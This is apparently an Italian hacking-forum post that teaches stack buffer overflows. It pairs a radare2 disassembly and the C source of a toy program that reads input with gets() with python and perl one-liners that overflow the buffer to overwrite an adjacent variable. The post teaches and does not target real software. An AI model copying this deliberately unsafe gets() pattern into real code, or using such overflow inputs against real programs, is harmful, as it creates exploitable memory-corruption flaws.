SPAGHETTI HACKER

  1. BUFFER OVERFLOW - bash
    LOG.001

    Tags
    bugs
    By AKIRA BASHO il 18 Nov. 2022
     
    0 Comments   175 Views
    .
    KTKTN5C

    buffer overflow (o buffer overrun), in informatica, è una condizione di errore che si verifica a runtime quando in un buffer di una data dimensione vengono scritti dati di dimensioni maggiori

    radare2

    [0x00400566]> pdf ;Print Disassemble Function

    ; DATA XREF from entry0 @ 0x40048d(r)
    ; int main (int argc, char **argv, char **envp);
    ; var uint32_t var_4h @ rbp-0x4
    ; var char *s @ rbp-0x1f0

    0x00400566 55 push rbp
    0x00400567 4889e5 mov rbp, rsp

    ;496 byte vengono allocati sullo stack, 489 byte del buffer, + 4 byte per la variabile intera, + 3 byte di allineamento

    0x0040056a 4881ecf00100. sub rsp, 0x1f0
    0x00400571 c745fc000000. mov dword [var_4h], 0
    0x00400578 488d8510feff. lea rax, [s]

    ;char *s

    0x0040057f 4889c7 mov rdi, rax
    0x00400582 b800000000 mov eax, 0

    ;la get da input stream della stringa

    0x00400587 e8c4feffff call sym.imp.gets
    0x0040058c 837dfc00 cmp dword [var_4h], 0

    ;salta se la variabile g è ancora zero

    0x00400590 740a je 0x40059c

    ;se invece la variabile intera g è stata sovrascritta dal buffer overflow, stampa la stringa

    0x00400592 bf38064000 mov edi, str
    0x00400597 e894feffff call sym.imp.puts
    0x0040059c b800000000 mov eax, 0
    0x004005a1 c9 leave
    0x004005a2 c3 ret

    ;il codice in linguaggio C;

    #include <stdio.h>
    #include <stdlib.h>

    int main()
    {
    char buffer[489];
    int g;
    g = 0;
    gets(buffer);
    if(g)
    {
    printf("Hai sovrascritto la variabile g allocata sullo stack dopo il buffer di 489 caratteri;\n");
    }
    }

    echo `python -c 'print "1"*493'` | ./bufferoverflow
    Hai sovrascritto la variabile g allocata sullo stack dopo il buffer di 489 caratteri;


    echo `perl -e 'print "A"x493'` | ./bufferoverflow
    Hai sovrascritto la variabile g allocata sullo stack dopo il buffer di 489 caratteri;

    Edited by AKIRA BASHO - 29/10/2023, 18:43
      Share  
     
    .